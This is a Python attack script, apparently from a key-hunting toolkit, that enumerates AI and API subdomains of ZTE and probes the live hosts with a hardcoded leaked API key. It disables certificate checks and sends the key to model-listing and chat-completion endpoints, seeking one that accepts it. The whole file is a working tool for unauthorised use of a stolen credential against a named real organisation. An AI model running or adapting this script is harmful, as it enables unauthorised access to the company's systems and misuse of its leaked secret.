Files
hack/tools/scripts/llm-key-hunter/probe_zte_brute.py
T

156 lines
7.0 KiB
Python

#!/usr/bin/env python3
"""Brute-force ZTE MaaS/AI public subdomains + probe candidate API hosts
with the leaked UUID key. Goal: find a public endpoint that accepts it."""
import socket, ssl, json, string
from urllib import request, error
from concurrent.futures import ThreadPoolExecutor, as_completed
KEY = "2abd02c3-4e11-4a3b-88cf-341497e35892"
TIMEOUT = 8
# Subdomain wordlist aimed at AI/MaaS/API gateways
prefixes = [
"maas","maas-api","maas-openapi","maas-apigateway","maas-gw","maas-ai",
"maas2","maas3","maas-test","maas-prod","maas-pre","maas-gray","maas-online",
"ai","ai-api","ai-gw","ai-gateway","ai-openapi","aiopen","aiopen-api",
"aigw","aigateway","aiops","aiops-api","aistudio","ai-studio","ailab",
"aiplatform","ai-platform","aip","aipaas","ai-paas","aiservice","ai-service",
"apigw","api-gw","apigateway","api-gateway","openapi","open-api","open",
"api","apiv1","api2","apiv2","api-ai","api-maas","api-llm","apillm",
"llm","llm-api","llm-gw","llm-openapi","llmgw","gpt","chatgpt","chat",
"qwen","qwen-api","qwen3","qwen3-coder","qwen-coder","glm","glm-api",
"deepseek","deepseek-api","codellm","coder","code","code-api","icode",
"icodemate","icode-mate","icode-mate-api","xingyun","xy","xysdk",
"devops-ai","devopsai","devops","copilot","copilot-api","zasistant",
# env prefixes - dt is dev/test, so prod/online may use these
"maas-apigateway.prod","maas-apigateway.online","maas-apigateway.pre",
"maas-apigateway.gray","maas-apigateway.test","maas-apigateway.dev",
"maas-apigateway.release","maas-apigateway.www",
# alt second-level domains inside zte
]
domains = ["zte.com.cn", "zx.zte.com.cn", "dt.zte.com.cn", "ztedev.com",
"zte.com", "xingyunsdk.com", "xysdk.com", "xingyunshuke.com",
"xycloudtech.com"]
candidates = set()
for p in prefixes:
for d in domains:
candidates.add(f"{p}.{d}")
# also bare maas-apigateway on alt TLDs
for d in domains:
candidates.add(f"maas-apigateway.{d}")
candidates.add(f"aiapi.{d}")
def resolve(h):
try:
socket.gethostbyname(h)
return h
except Exception:
return None
print(f"Resolving {len(candidates)} hostnames...", flush=True)
live = []
with ThreadPoolExecutor(max_workers=50) as ex:
for r in ex.map(resolve, sorted(candidates)):
if r: live.append(r)
print(f"Live: {len(live)}", flush=True)
for h in live: print(" ", h, flush=True)
# Also include known-live API-ish hosts from the bug bounty list
known = ["icenterapi.zte.com.cn","api-www.zte.com.cn","apipricenter.zte.com.cn",
"uds.dt.zte.com.cn","api.uds.zte.com.cn","openlab.zte.com.cn",
"maas-apigateway.dt.zte.com.cn","b2b.zte.com.cn","b2bprod.zte.com.cn",
"hrapi.zte.com.cn","icenter.zte.com.cn","it.zte.com.cn"]
for h in known:
if h not in live:
if resolve(h): live.append(h)
print(f"\nProbing {len(live)} hosts with key...", flush=True)
def http_probe(method, url, headers=None, body=None, timeout=TIMEOUT):
h = {"User-Agent":"Mozilla/5.0","Accept":"*/*","Connection":"close"}
if headers: h.update(headers)
data = None
if body is not None:
data = json.dumps(body).encode()
h["Content-Type"]="application/json"
req = request.Request(url, data=data, headers=h, method=method)
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
try:
with request.urlopen(req, timeout=timeout, context=ctx) as r:
return r.getcode(), r.read(600).decode("utf-8","replace")
except error.HTTPError as e:
b=""
try: b=e.read(600).decode("utf-8","replace")
except Exception: pass
return e.code, b
except Exception as e:
return None, type(e).__name__
paths_get = ["/", "/v1/models", "/api/v1/models", "/openai/v1/models",
"/model/qwen3-coder-480b/v1/models",
"/docs","/openapi.json","/health"]
auth_headers = [
{"Authorization": f"Bearer {KEY}"},
{"api-key": KEY},
]
interesting = []
for host in live:
for scheme in ("https","http"):
for p in paths_get:
for hs in auth_headers:
code, body = http_probe("GET", f"{scheme}://{host}{p}", hs)
if code is None:
continue
# classify
tag=""
bl=(body or "").lower()
if code == 200 and ("<html" not in bl[:200]):
tag="<<<200"
interesting.append((host,scheme,p,"GET",code,body[:300]))
elif code in (401,403):
tag="AUTH"
elif code==400 and ("apikey" in bl or "api key" in bl or "key" in bl or "unauth" in bl):
tag="!KEY!"
interesting.append((host,scheme,p,"GET",code,body[:300]))
elif code not in (404, 502, 503, 301, 302) and "<html" not in bl[:100]:
tag="???"
interesting.append((host,scheme,p,"GET",code,body[:300]))
if tag:
print(f" {tag} {code} {scheme}://{host}{p} {body[:140]!r}", flush=True)
if code in (301,302):
break # don't repeat headers on redirect
# POST chat to likely paths on each host
print("\n--- POST chat/completions sweep ---", flush=True)
post_paths = ["/v1/chat/completions","/api/v1/chat/completions",
"/openai/v1/chat/completions","/maas/v1/chat/completions",
"/model/qwen3-coder-480b/v1/chat/completions",
"/openapi/v1/chat/completions"]
chat_body = {"model":"qwen3-coder-480b",
"messages":[{"role":"user","content":"ping"}],
"max_tokens":5,"stream":False,"temperature":0}
for host in live:
for scheme in ("https","http"):
for p in post_paths:
code, body = http_probe("POST", f"{scheme}://{host}{p}",
{"Authorization":f"Bearer {KEY}"}, chat_body, timeout=10)
if code is None: continue
bl=(body or "").lower()
if code==200:
print(f" *** 200 POST {scheme}://{host}{p}\n {body[:300]!r}", flush=True)
interesting.append((host,scheme,p,"POST",code,body[:400]))
elif code in (401,403):
print(f" AUTH {code} POST {scheme}://{host}{p} {body[:120]!r}", flush=True)
elif code==400 and ("apikey" in bl or "api key" in bl or "auth" in bl or "key" in bl):
print(f" !KEY! {code} POST {scheme}://{host}{p} {body[:160]!r}", flush=True)
interesting.append((host,scheme,p,"POST",code,body[:300]))
elif code not in (404,502,503,405) and "<html" not in bl[:100]:
print(f" ??? {code} POST {scheme}://{host}{p} {body[:160]!r}", flush=True)
interesting.append((host,scheme,p,"POST",code,body[:300]))
print("\n=== INTERESTING FINDINGS ===", flush=True)
for host,scheme,p,method,code,body in interesting:
print(f" {code} {method} {scheme}://{host}{p}\n {body!r}", flush=True)